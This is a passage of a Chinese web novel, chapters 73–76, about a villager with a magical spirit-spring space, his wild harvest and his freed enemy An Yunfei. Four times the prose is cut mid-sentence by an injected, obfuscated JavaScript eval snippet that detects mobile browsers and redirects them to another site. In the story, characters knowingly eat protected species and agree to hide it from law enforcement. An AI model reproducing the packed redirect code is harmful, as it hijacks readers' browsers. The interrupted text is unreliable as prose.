当一片区域的雪灵菇尽数收入囊中，莫天扬站起身，用力伸展了一下有些僵硬的腰背。采摘本身不费力气，但长时间保持蹲姿，腰腿的酸麻感还是阵阵袭来。 他正打算走向下一片蘑菇更密集的区域，目光却被草丛里一大片奇异的黑色吸引。心头一动，莫天扬蹲下身，轻轻拨开草叶，手指触碰到一片片柔软湿润、漆黑如墨、形似藻类的物体。它们大如孩童手掌，厚实饱满。 “地皮菜！” 莫天扬心中惊喜更甚。这是一种由真菌和藻类共生的奇妙植物，干燥时蜷缩如枯叶，遇水则舒展开来，最大可至巴掌大小。虽然在世界多地可见，却只在雨后湿润的草丛中短暂现身。在如今农村人口大量外流的时代，这纯天然的野味，已是难得一见的稀罕物。 而眼前这片草甸的地皮菜，不仅个头惊人，厚度更是远超寻常，品质堪称极品！若是烹饪上桌，绝对是难得一遇的山珍美味。 深知此物的珍贵与美味，莫天扬立刻放下其他念头，再次蹲下，双手并用，小心翼翼地将这些漆黑肥厚的地皮菜一把把捧起，珍而重之地放入袋中。原本只打算用木耳、蘑菇回礼，如今再加上这极品地皮菜，王林川他们怕是更要惊喜万分了！ …… 夕阳西沉，暮色四合。白日里熙熙攘攘的菜地重归宁静。一排新搭建的简易板房亮起了灯光，工人们正将院中的物品陆续搬入。临时厨房里，陈峰、曹慧正忙碌着张罗晚饭。 在一旁打下手的颜若曦却显得有些心不在焉。她频频扭头，目光越过黑暗笼罩的村庄，投向远处那吞噬了光线、轮廓模糊的庞大山影，秀气的眉宇间笼着一层化不开的担忧。天都黑透了，他……怎么还没回来？ “峰叔，天都黑透了，莫天扬怎么还没回来？要不要找人进山看看……”颜若曦的声音带着掩饰不住的焦急，目光又一次投向漆黑的青木山。 陈峰微微一怔，下意识看向颜若曦，眼底掠过一丝不易察觉的惊讶。这姑娘才在院子里住了两天，自从太阳落山，她就不停地看向山口，问起莫天扬的话少说也有十遍了。难道…… 颜若曦的再次询问，让门口几人也跟着紧张起来，纷纷望向那黑黢黢的山影。就在这时，一声悠远模糊的狼嚎隐约传来。不远处带着小狼崽玩耍的小白瞬间竖起耳朵，兴奋地朝着声音方向回应了几声。 曹建华见状，脸上露出了然的笑意：“喏，这不是回来了。” 大青矫健的身影很快出现在视线中。但人们随即一愣——只见大青身后，竟有一大堆鼓鼓囊囊的黑袋子在“移动”！下一刻，众人反应过来。 “快！过去帮忙！是天扬回来了！”陈宏利几个小伙子赶紧冲上去。 当十几个沉甸甸的黑色包装袋被卸在地上时，所有人都倒吸一口凉气，眼中满是惊骇！除了这些明显装了干货的大袋子（每个都看着有十几斤），地上还堆着：九只肥硕的山鸡、六只**色油亮的野兔，甚至还有四条银光闪闪的银刀鱼、四条鳞片金黄的黄鳞鱼，以及两袋子沉甸甸、一看就非同寻常的金膏蟹和鬼面虾！ 这林林总总加起来，少说也有两百多斤！莫天扬竟然一个人把这么多东西从深山里弄了出来？这简直超出了他们的想象！普通人空手走一天山路都累得够呛，他这…… “天扬，我的老天爷！这么多东西，你是怎么弄出来的？”有人忍不住惊呼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000148|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>莫天扬抹了把额头的汗水，回头望了眼夜色中朦胧的青木山轮廓，喘了口气：“来回倒腾了好几趟呗，可累散架了！大家伙儿辛苦一下，收拾收拾。咱们留点尝尝鲜，剩下的明天打包，给涛哥他们送去还礼。” 人们迫不及待地打开那些黑色袋子。即便是吃过雪灵菇的众人，也不禁发出一片低低的惊呼！袋子里装满了洁白如玉、伞盖饱满的雪灵菇，数量之多，远超想象！ 而当他们看到那如同黑曜石般光泽、厚实如巴掌的极品木耳，以及乌黑油亮、肥厚得惊人的大片地皮菜时，连陈峰这些山里通都忍不住连连摇头，啧啧称奇。他们知道山里有这些，可如此品相、如此品质的，绝对是生平仅见！ 曹建华拿起一片厚实的木耳，又是喜爱又是惋惜：“天扬，这木耳、这地皮菜，都是绝顶的好东西啊！拿出去卖，能值老鼻子钱了！就这么……都送人了？” 莫天扬笑了笑，语气真诚：“婶子，没有涛哥他们当初的帮衬，哪有我的今天？上次我出事，人家送来的礼可不轻。现在又愿意借钱给我起房子，这份情，咱得还。再说了，天热了，等有空，我再进山寻摸寻摸就是。” “天扬，那……那咱今晚能弄点木耳、地皮菜尝尝不？”有人眼巴巴地问。 “哈哈，没问题！”莫天扬爽朗一笑，“今晚咱们就开开荤，尝尝这金膏蟹、鬼面虾、银刀鱼、黄鳞鱼是个什么仙味儿！” 莫天扬话音刚落，颜若曦心头就是一紧，她忍不住吸了口气，迟疑道：“莫天扬，这四种……可都是受保护的珍稀物种吧？就这么吃了……会不会……” 莫天扬狡黠地眨眨眼，压低声音嘿嘿一笑：“只要大家伙儿嘴严实点，谁知道？不过丑话说前头，谁要是拍照发出去，一会儿执法队的车就得堵咱门口了！” 诱人的菜香渐渐弥漫开来。颜若曦站在厨房门口，目光不由自主地落在里面那个忙碌的身影上。灶火映照着他专注的侧脸，动作麻利而沉稳。 她那双漂亮的杏眼里充满了好奇与探究——一个品学兼优的大学生，这身堪比大厨的手艺，究竟是怎么练就的？ 一道道色香味俱全的菜肴被端上临时搭起的长桌：清蒸后蟹壳金黄、膏脂饱满的金膏蟹；蒜蓉爆炒、香气扑鼻、形态奇特的鬼面虾；汤汁奶白、鱼肉细嫩的清炖银刀鱼；酱汁浓郁、色泽诱人的红烧黄鳞鱼；还有那乌黑油亮、吸饱了汤汁的地皮菜炖豆腐；以及凉拌后更显黑亮弹牙的极品木耳……每一道菜都在猛烈冲击着人们的视觉与嗅觉，浓郁的香气引得周围一片吞咽口水的声音。 随着一声开动，筷子齐下。刹那间，棚下只剩下一片此起彼伏的、近乎虔诚的咀嚼声。那极致的美味仿佛抽走了所有人的语言能力，连一句简单的赞叹都成了奢侈。 第七十三章安云飞出来了 十几分钟后，桌上的新菜个个见了底，众人这才心满意足地长舒一口气。胡标抹了抹嘴，看向莫啸：“老爷子，这味道，您品着怎么样？” 莫啸深吸一口气，像是要把那滋味儿都锁在肺腑里，他抬眼看了看莫天扬，满意地点点头：“多少年没尝过这银刀、鬼面、金膏、黄鳞的鲜了……这味道，够我回味好一阵子了。” 陈宏利恋恋不舍地放下一条吮吸得干干净净的蟹腿：“莫爷爷，那地皮菜和木耳，也是绝品吧？” “这种纯野生的极品货色，也就青木山深处能寻摸到，可遇不可求啊。”莫啸感慨道，“天扬这小子，运气是真好。我年轻那会儿钻了不知多少趟山，也就偶尔撞见一回。他进一趟山，就带回来两种绝品，这福气，没得说！” 众人目光都投向莫天扬。莫天扬摆摆手，指了指屋外正逗弄小狼崽的大青：“我哪有什么运气，全靠大青带路。” 大家闻言都笑着摇头。莫啸站起身，目光掠过窗外围着大青蹦跳的小白：“你们接着聊，我回屋看会儿电视去。” “老爷子，”胡标笑着提醒，“这简易房没火炕，晚上睡觉可得当心点，别翻下床啊！” 莫啸佯怒地瞪他一眼：“小兔崽子，说什么浑话！我睡床板那会儿，你小子还尿炕呢！”在众人的哄笑声中，老爷子背着手踱进了自己的房间。 陈宏利指了指紧邻的那一间：“天扬，这间归你。今天太仓促，明天再把豆芽搬出来安置。” 莫天扬望着一溜排开的十五间简易房：“宏利，联系吕建国了吗？” “联系好了，他们明天就带工程队过来。这十五间，给他们预留了八间。”陈宏利说完，目光转向他表姐曹慧和颜若曦。 颜若曦杏眼微亮，抢着开口：“天扬，我和慧慧姐也想搬过来。这边事情肯定越来越多，省得以后两头跑。” 莫天扬沉吟片刻，摇摇头：“工程队都是大老爷们，底细不明。你们还是住在宏利那边更安全。”他语气里带着不容置疑的关切。 胡标立刻点头附和：“天扬说得在理，这年头多个心眼儿总没错。再说……”他下意识地朝村里莫老三老院子的方向瞥了一眼。 曹勇等人心领神会。莫老三虽**，可莫栓还在。那小子要是起了什么歹念，莫天扬一个人分身乏术，未必护得住这么多人周全。 “天扬，”胡标接着说，“上午我们跟李翠花、莫栓把契约签了，那院子和沙地现在都是你的。回头我再跟你单独办个手续，把老院子和沙地正式转到你名下。” “不急，他们……”莫天扬欲言又止。 胡标叹了口气：“唉，安云飞在的时候，逢年过节，莫老三家门槛都快被踏破了。今天发丧，来的人还不如往年过节多，这人走茶凉啊……” “昨天那辆豪车的主人……”有人好奇地问。 胡标和另外几人摇摇头：“今早车就不见了。问了帮忙办事的人，说是一个老头儿来过，好像是李翠花的什么表哥。送了笔钱，坐了会儿就走了，神神秘秘的。” 说者无心，听者有意。深知李翠花底细的莫天扬心头猛地一紧——爷爷当年就提过，李家或许还有人藏在暗处。如今突然冒出个李翠花的“表哥”，一股不祥的预感如同冰冷的藤蔓，悄然缠上了他的心头。 “李翠花这表哥，以前来过吗？”他追问道，声音低沉了几分。 “没听说。”胡标回忆着，“莫栓倒是提过一嘴，说沛川那边有个远房亲戚挺有钱。不过前阵子，莫老三他们的毒豆芽坑了沛川一个侄子好几万，闹得挺僵。谁知道昨天怎么又来了……”这不合常理的“探访”，在寂静的夜色里，更添了几分诡秘。 “天扬，还有件事。”曹克雄的声音带着几分忧虑。 莫天扬看向他：“什么事？” “今天来了几个奇怪的人，”曹克雄压低声音，“看穿着打扮就不像善茬。一直在院子外头转悠想进来，多亏了大青守着，他们才没敢硬闯。” 莫天扬眉头微蹙。曹克雄在外闯荡多年，见的人多，眼力也毒。他说不像好人，那几个人八成真有问题。 “难道是那个网红找来报复的？”莫天扬立刻联想到之前被他教训过的那两个打着网红幌子惹事的家伙。 这话一出，颜若曦俏脸瞬间白了。其他人也是心头一紧。这段时间莫天扬经历的风波不少，大家跟着他赚钱，也早把他当成了主心骨和亲人，谁也不愿他再出半点闪失。 “天扬！”陈宏利急切道，“我今天还特意搜了那个网红！他那直播间因为那事儿被永久封了！百万粉丝的号啊，封号损失巨大，还得赔违约金……他绝对有理由恨你入骨！你千万得小心！” 莫天扬目光扫过屋外忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009118|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的大青和活泼的小白，语气沉稳：“放心，有大青在，他们在青木村掀不起风浪。”他随即转向陈宏利，“宏利，明天你跑趟县城，把木耳、地皮菜、雪灵菇给涛哥送去，请他分开转交给那天来看我的朋友们。” **嗡嗡——** 胡标的手机突然震动起来。他拿出来看了一眼，略显无奈：“是喜奎。他在莫栓那边帮忙，晚上吃答谢饭。” 胡标出去接了电话。没过多久，他脚步沉重地走回来，脸上笼罩着一层阴云。屋里瞬间安静下来，所有人的心都提了起来。 “胡标，出什么事了？”曹勇忍不住问。 胡标深吸一口气，声音带着难以置信：“喜奎说……他晚上在县里的饭局上，看见安云飞了。” 莫天扬瞳孔骤然收缩！安云飞被抓进去才半个月！作为主谋，按常理绝不可能这么快脱身！ “安云飞怎么出来的？他现在不是该在牢里吗？！”陈宏利替众人问出了心声。 胡标摇摇头，脸色难看：“具体情况喜奎也不清楚。但安云飞在酒桌上敬酒时说……他是被人‘下套’了，审查后认定他问题不大，只背了个小处分就放出来了。还放话说，这几天做个检讨，过几天就能官复原职。” **嘶——** 一片倒吸冷气的声音在寂静的房间里响起，寒意仿佛从脚底窜上脊梁。莫天扬一直在外，安云飞就是幕后黑手，这是大家心知肚明的事。如今，闹出这么大风波，甚至搭上了莫老三一条命，安云飞本人却只背了个“小处分”就全身而退？这背后没有大人物撑腰，鬼才信！ 安云飞虽然“没事”了，但这次栽跟头，**就是莫天扬！以安云飞的睚眦必报和莫老三的死……别说莫栓和李翠花，就是安云飞本人，能放过莫天扬？ 众人面面相觑，空气凝重得几乎能拧出水来。 看着一张张写满担忧和紧张的脸，莫天扬深吸一口气，打破了沉默。他语气异常平静，甚至带着一丝安抚的意味：“既然他被查过一次，总该知道滥用职权的后果。大家别自己吓自己，都早点休息吧，明天还得早起干活。” 他的镇定像一块石头投入深潭，虽未能完全驱散阴霾，却也暂时压下了翻涌的波澜。只是，那双望向窗外沉沉夜色的眼睛里，掠过一丝不易察觉的凝重。真正的风暴，恐怕才刚刚开始酝酿。 第七十四章偷梁换柱 当一切都沉入寂静，只有简易房区域一盏孤灯散发着幽光。莫天扬看着简易房里已经半大的小狼崽，心中满是欣慰——它们是他最大的依仗，有它们在，他便无惧任何风雨。 “大青、小白，走，跟我回趟院子。” 在存放杂物的老屋，莫天扬搬走了大半之前用剩的水培箱子。走出屋门，他脚步一顿，并未立刻离开，而是转身走进了培育豆芽的那间屋子。 回到简易屋，锁好门。莫天扬轻轻拍了拍小白，心念微动，带着它一同进入了灵泉空间。今日山中收获颇丰，更重要的是，他清晰地感觉到空间发生了某种蜕变，必须亲自查看一番。 踏入空间的瞬间，莫天扬微微一怔。空气变得异常清新，仿佛蕴含着无限生机，仅仅吸上一口，浑身的毛孔都似舒张开来，每一个细胞都在欢呼雀跃。 举目四望，莫天扬眼中流露出一丝惊喜。灵泉空间果然又扩张了！水域表面氤氲着一层淡淡的薄雾，随着水波荡漾，不时有银鳞划破水面，带起晶莹的水花。 他深吸一口气，潜入水下。眼前景象更令人震撼：成群的鱼虾如彩带般穿梭游弋。常见的草鲤鲢鳙鲫自不必说，连稀有的银刀、黄磷也已形成规模庞大的鱼群。水底更是热闹非凡，金膏、鬼面、小龙虾密密麻麻，几乎铺满了水底。 再次浮出水面，莫天扬估量着水深——竟已达十多米！这般深度，放在外界已算得上中型水库了。 水域中央，那株九彩荷莲傲然挺立于大片莲叶之上。那朵奇异的花朵流转着梦幻般的九色光晕，神秘莫测。莫天扬心中好奇更甚：这究竟是什么品种？为何网络上也寻不到丝毫线索？ 目光转向种植平台的边缘，莫天扬看到了早上匆忙移栽进来的金银枣和酸溜溜。这两种耐旱植物根系极其发达，此刻大片的根须已探入水中汲取养分。 而让他惊愕的是植物的变化！金银枣竟已挂果累累。晨间移栽时，果子还是淡黄色，此刻竟已尽数化作深邃的赤金色，色泽浓郁得仿佛要滴下蜜来，远非儿时记忆中那抹浅黄可比。 不远处的酸溜溜更是惊人！每一颗果实都膨胀到了蚕豆大小，通体呈现耀眼的血红。寻常酸溜溜能有黄豆大小已是极品，儿时记忆中最大者也无法企及此等规模！ “这……”莫天扬心头震动。金银枣与酸溜溜的蜕变，无疑都是灵泉水的神效！ 他伸手摘下一颗金银枣。赤金饱满，圆润晶莹，竟有鸡蛋大小！莫天扬屏住呼吸，一口咬下。 “咔嚓！”清脆的声响中，甘甜如蜜却丝毫不腻的汁液瞬间充盈口腔，果肉细嫩得堪比上好的酥梨。这滋味，已远非记忆所能及。 莫天扬并非贪婪之人，他将吃剩的、仅苍耳大小的枣核丢进一个种植箱。用不了几天，这里便会孕育出新的生命。 他取出小刀，耐心地将一颗颗金银枣的果核剥离，分放入不同的种植箱中。收集好的赤金果肉足足装了五大袋。看着这些璀璨的“金子”，莫天扬不禁苦笑：如此神异之物，该如何光明正大地带出去？ 暂且放下难题，他又折下一截沉甸甸的酸溜溜枝丫。摘下一颗血红果实丢入口中，轻轻一抿。 “唔……”甘甜中带着一丝恰到好处的酸爽，独特的野果香气瞬间弥漫，其滋味之醇厚，竟胜过最好的葡萄！再看指尖，沾染的汁液如粘稠的血色蜂蜜。 目光在璀璨的金银枣与血红的酸溜溜之间流转，莫天扬心中涌起强烈的期待。以此等逆天的品质，若能将它们在青木山成功繁育，所带来的收益，恐怕会远超想象！ 他拿起那根包浆油亮的木棍，对着酸溜溜枝条用力敲打起来。蚕豆大小的血红果实如雨点般簌簌落入种植箱。他并未急着收拾——此刻，他渴望的是更多的种子，更多的希望。哪怕暂时带不出去，也要在这神奇的空间里，先种下一片未来！ 转身走向蔬菜种植区，眼前的景象让莫天扬也不由得摇头惊叹。经历了空间这次蜕变，各类蔬菜都疯长起来。单说西红柿，藤蔓上累累硕果竟然已成熟到第六层！累累的果实压弯了枝蔓，一片赤红如霞，光是看着就令人垂涎欲滴。 看着几亩地生机勃勃的西红柿、黄瓜、豆角、茄子……莫天扬也只能仰天叹息。这些蕴含了灵泉精华的蔬菜，拿出去绝对是能卖出天价的珍品，可惜此刻只能困在这神奇的空间里。 “等等……”莫天扬心头忽然一动，一个想法闪过脑海。不过，这需要提前做些准备…… 说干就干！莫天扬立刻动手，开始采摘灵泉空间里的黄瓜、西红柿、豆角、茄子、青椒……他穿梭在茂盛的植株间，双手翻飞。 不知忙活了多久，直到感觉腰背阵阵酸痛，莫天扬才离开了灵泉空间。 回到简易房，他定好闹钟，倒头便沉沉睡去。 清晨，闹钟刚响，莫天扬立刻翻身起床。打开房门，小白像一道银灰色的闪电般窜了出去。晨曦微露中，只见大青正带着小狼崽们在原野上活动，或潜伏，或扑跃——那是在传授它们最原始的狩猎技巧。 东方天际刚泛起一抹橘红，莫天扬快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009119|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步进入自家院子。距离胡标他们过来还有一个多小时，他必须抓紧时间，把空间里采摘的蔬菜“变”出来。 他先将黄瓜、茄子、豆角、青椒这些悄悄“补充”到相应的菜地里。最后走向西红柿地。外面菜地的西红柿这几天也开始成熟了，但数量远不及空间。莫天扬小心地从空间取出部分西红柿混入其中，然后才开始采摘那些真正在地里成熟的果子。 “天扬，你这是几点就起来了？摘了这么多！”陈峰的声音带着惊讶从地头传来。 莫天扬将刚摘的西红柿放到旁边一堆：“峰叔，来得正好，尝尝咱们的西红柿！”他指了指旁边那堆从空间带出来的“主力军”。 陈峰走进地里，目光落在那堆堆饱满圆润、色泽深红泛着诱人紫光的西红柿上，眼睛瞬间瞪圆了：“嚯！熟了这么多？光看这颜色和个头，就能卖上大价钱啊！” 莫天扬哈哈一笑：“品相是一方面，关键还得看口感。口感不行，长得再好看也是白搭。” “什么口感这么好？”话音未落，陈宏利、曹慧和颜若曦也好奇地走进了菜地。 “天扬，你这也太拼了，几点起的啊？”陈宏利看着地上几大堆蔬菜，咂舌不已。 “没看时间。婷婷呢？” “在外面和小白玩呢。”颜若曦答道。 这边陈宏利早已按捺不住，随手抓起一个最大最红的西红柿，也顾不上洗，“咔嚓”就是一大口！ 刹那间，酸甜浓郁、带着阳**息的汁液猛地在他口中爆开！陈宏利整个人僵住了，眼睛瞪得溜圆，脸上写满了难以置信的震撼！他仿佛着了魔，几大口下去，一个足有半斤重的西红柿就被他囫囵吞下，连滴落指尖的汁液都吮吸干净。 “我的天……”陈宏利用力咽下最后一口，声音都激动得有些变调，他死死盯着莫天扬，“天扬！这…这西红柿是仙果吧？我这辈子就没吃过这么好吃的西红柿！” 有陈宏利这夸张的反应在前，陈峰、曹慧和颜若曦也忍不住各自拿起一个。小心翼翼地咬下去—— 噗嗤！曹慧被溅到的汁水惊得轻呼。 唔…颜若曦眯起眼，细细品味。 ……陈峰默默咀嚼，眼神却越来越亮。 没有例外！每一个品尝过的人，脸上都露出了和陈宏利如出一辙的震惊与陶醉。黄瓜、茄子、豆角的美味他们早已领略，却万万没想到，这看似普通的西红柿，其口感的惊艳程度，竟也完全颠覆了他们的认知极限！那纯粹的、**般的鲜甜滋味，仿佛不是人间应有之物。 第七十五章山雨欲来 随着曹勇、胡标等人陆续到来，每个人都尝到了那神奇的西红柿。毫无意外，每一个品尝者都露出了和前几人一样的震撼表情，赞叹声此起彼伏。 而“始作俑者”莫天扬却悄悄溜出了院子。昨晚睡得迟，今早起得早，他得抓紧时间补个觉。 不知过了多久，一阵机器的轰鸣声撕破了宁静，将睡梦中的莫天扬惊醒。他伸了个大大的懒腰，长舒一口气。虽然睡眠时间不长，却感觉精神格外饱满。 推开房门，差点和正要进来的莫红兵撞个满怀。莫红兵哈哈一笑：“天扬，快过去看看！施工队到了，跟着来的还有七八位贵客，看着就气派！” 莫天扬心中了然，估计是王林川、李红军他们来了。“红兵，辛苦你准备些野味，还有我昨天带回来的木耳、地皮菜、蘑菇，等会儿我去下厨。” 来到大院外，只见一段院墙已被推倒，一台挖掘机轰隆隆地开进了院子。门外，四五十个工人正热火朝天地从车上卸下各种工具和设备。莫天扬扫了一眼，只认出上次跟着吕建国来的一个年轻人冯少伟（二伟）。 “二伟，吕哥他们人呢？”莫天扬问道。 冯少伟看到莫天扬，赶忙点头示意：“都在院里呢，吕工头他们进去了。” 莫天扬走进院子，看到吕建国正站在挖掘机旁指挥。“吕哥，来了！” 吕建国笑着迎上来，指了指那排放豆芽的屋子：“里面的东西都清空了吧？” 莫天扬看那屋门敞开着，下意识点头：“应该没了。我再让人进去仔细检查一下有没有遗漏的。这就……” “工期紧啊，”吕建国解释道，“李总他们特意叮嘱，希望能在天冷前入住。图纸你看了吧？觉得怎么样？” “建筑方案没问题，”莫天扬点头，随即话锋一转，“不过，我有个新想法。” “哦？说说看。” 莫天扬深吸一口气：“是关于地下仓库的。” “不是说好内院下面挖空做仓库？” “这几天我仔细想了想，”莫天扬环视着宽敞的大院，“内院地下空间毕竟有限。我打算把整个大院的地下都利用起来做仓库。你也知道，地面还要搞种植，所以仓库顶部的覆土层至少得有两米厚。” “两米？”吕建国有些惊讶，“上面要种什么？大树？” “有这个打算，将来或许需要。” “技术上倒不是问题，”吕建国沉吟道，“但这么大规模的地下工程，地基沉降和地下水渗透都得仔细考虑。” 莫天扬哈哈一笑，指向院子中央：“吕哥，你忘了咱们这地界儿？看见那口老井没？二十多米深才见水！咱们这仓库地基总不至于挖到二十多米吧？你要真能挖出水来，我还得谢谢你呢！”他语气轻松，带着对家乡地质的自信。 “行，明白了！”吕建国爽快应下，“主体建筑先动工，地下仓库工程量大，得等到秋天才能开挖。” “外面给你们预备了八间简易房。” “宏利跟我说了。这次赶工期，人手多，我又带了些材料过来，回头在你那边再搭几间。工人的伙食他们自己解决，不麻烦你。” “好，需要什么找陈宏利或胡振南协调就行。”莫天扬想起刚才的话头，“对了，你说跟车来的那几位贵客……” “还能有谁？”吕建国笑了，“李红军、王传林他们呗！估摸着你家的西红柿快熟了，正好借这机会过来瞧瞧。这不，一进来就奔着菜地去了。” “那我得过去招呼一下。” 莫天扬快步走向西红柿地。眼前的景象让他忍俊不禁：只见王传林、李红军等几位平日里讲究体面的老板，此刻全然不顾形象，正人手一个硕大的西红柿，大快朵颐！鲜红的汁液顺着他们的嘴角和手指流淌，染红了衣襟也毫不在意，一个个吃得酣畅淋漓。 “各位，这西红柿味道还过得去吧？”莫天扬笑着走近。 王传林、李红军等人见他来了，嘴里塞得满满当当，只能含糊地点头应着，手上的动作却丝毫没有停下的意思。直到王传林狼吞虎咽地把最后一大块塞进嘴里，用力咽下，这才满足地长出一口气，抹了把沾满汁水的下巴。 “天扬！”王传林的声音带着前所未有的激动，眼睛亮得惊人，“你这西红柿……绝了！真**绝了！航天局专供给宇航员的**品我都尝过，跟你这个一比……呸！那简直就跟啃生土豆似的，差到姥姥家去了！”他挥舞着手中只剩蒂把的西红柿，那震撼与满足的表情，比任何广告词都更有说服力。 “走，去外面喝点茶。”莫天扬招呼道。 几人嘴上应着，脚步却挪不动窝，忍不住又各自摘了个红彤彤的西红柿揣着，这才意犹未尽地跟着莫天扬离开菜地。 来到一间新搭建的简易板房（临时会客室），莫天扬给众人沏上热茶。王传林几人打量着这间虽简单却整洁的屋子，笑道：“天扬，这是专门给我们预备的吧？” 莫天扬哈哈一笑：“倒也不算刻意。您几位也看到了，我这边人手足，天热下雨总得有个能落脚说话的地方。” “天扬，我们这冷不丁跑来，没给你添乱吧？”王林川问道。 “哪能啊，”莫天扬摆摆手，“昨天进山正好弄了些木耳、蘑菇、地皮菜，都是新鲜野生的，中午正好请大家尝尝鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013163|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “纯野生？”王传林眼睛一亮，随即又疑惑道，“等等，你让宏利送涛子那儿了？” “是啊，”莫天扬点头，“早上宏利开车送去的。怎么，你们没去涛哥那儿？” “没有啊！”王传林一拍大腿，“我们跟着吕建国车队一块儿来的，直接奔你这儿了！怎么，好东西没我们的份儿了？”他半开玩笑地说。 “这倒不是，”莫天扬笑道，“东西送得多，涛哥那儿肯定有留的。不过……” 王林川已经掏出手机：“不行，我得赶紧给涛子打个电话！这么好的山珍，可别让他独吞或者糟蹋了！”作势就要拨号。 “诸位，”莫天扬神色微正，抬手示意王林川稍等，“有件事，想请几位老哥帮忙留意一下。” “什么事？你说。”几人放下茶杯，看向他。 莫天扬深吸一口气，语气低沉了些：“上次我摊上那事，大家应该都清楚。现在……安云飞出来了。” “什么？！”王传林、李红军几人几乎同时惊呼，脸上写满了难以置信。转基因蔬菜那场风波闹得满城风雨，他们作为圈内人更是深知其严重性。当初安云飞被带走，他们都以为这主谋铁定要进去，甚至托人打听过，罪名坐实的话，丢官罢职都是轻的，牢狱之灾绝对免不了！ “天扬，消息可靠？”王传林沉声追问，眉头紧锁。 莫天扬肯定地点点头：“可靠。我们村帮忙办莫老三丧事的人，昨天在县里亲眼见到他，还听他说……只是背了个小处分，过几天就能官复原职。” 王传林倒吸一口凉气，手指无意识地在桌面上敲了敲：“官复原职……啧，看来这安云飞背后，有高人啊！不然他绝不可能全身而退！我这就打电话问问？”他再次摸向手机。 莫天扬轻轻摆手：“王哥，不急。打电话问，不如几位回去后找相熟的人侧面打听，或许更稳妥些。” “天扬，”一直没怎么说话的李红军忍不住开口，带着几分侥幸，“就算他出来了……这事跟你关系也不大了吧？他还能找你麻烦？” 莫天扬看向李红军，嘴角露出一丝无奈却笃定的苦笑：“李哥，不是‘不可能’，是‘一定会’！安云飞是莫老三的女婿，莫老三的死，他们一家子必然会算在我头上。昨天刚下葬……以他们家的做派，这仇怨，只会更深。” 他顿了顿，目光扫过众人担忧的脸，语气反而显得异常平静：“不过大家放心，我莫天扬行得正坐得直，不做犯法的事。只要我自己不出错，他们想动我，也没那么容易。”话虽如此，但那平静之下，却隐隐透着一股山雨欲来的凝重。 第七十六章藏拙？ “天扬，今天的大烩菜、带骨猪肉……”莫红兵探进头来提醒。 “你先去准备食材，我这就出去炖肉。”莫天扬应道。 莫红兵转身离开。一旁的李红军眼睛一亮，插话道：“这两天你炖的肉、烩的菜，可是火出圈了！听说沛川不少老板都专程开车过来尝鲜。中午这顿，我们可也得沾沾光！” “没问题。”莫天扬爽快答应。 当莫天扬亲自走到临时搭建的大灶前，现场立刻轰动起来！不少嗅觉灵敏的主播更是直接架起手机，将镜头对准了他，开始直播这难得一见的“厨神”现场操作。 莫天扬对此毫不在意，甚至可以说是气定神闲。他挽起袖子，当众处理食材、掌控火候、添加辅料……每一个步骤都清晰可见，毫无遮掩。 这坦荡的姿态让围观者和无数屏幕前的观众都大感意外——要知道，顶级菜肴的秘诀往往就在那“不传之秘”的火候与配比之中！ 很快，直播间里就挤满了观众，其中不乏许多专业厨师。他们屏息凝神，紧盯着莫天扬的双手，试图破解这“独门炖肉”的奥秘。无数网民更是直呼：“厨神大气！秘方要公之于众了！” 曹慧看着这阵势，满脸担忧地挤到莫天扬身边，压低声音：“天扬，好多直播间都在直播你炖肉！听说不少大酒店的主厨都在看！你这手艺……不怕泄露出去吗？” 莫天扬一边熟练地翻动着锅里的肉块，一边淡淡一笑，声音不大却清晰地传入附近收音设备：“慧姐，放心。做菜这东西，手法、火候、辅料，差之毫厘，谬以千里。就算他们拿着配方，站在我身边看，也未必能做出同样的味道。”他的话语随意而自信。 然而，这话通过网络直播传出去，却让不少自视甚高的厨师心头不快。他们只当莫天扬是个乡下“土厨”，仗着几道炖菜出了名就目中无人。无形之中，莫天扬已得罪了一批同行。 莫天扬行云流水的动作本身就是一场表演。除了吸引主播，更引来了不少闻香而至的游客，到最后，连王传林等人都被吸引得走出了会客室，饶有兴致地围观。 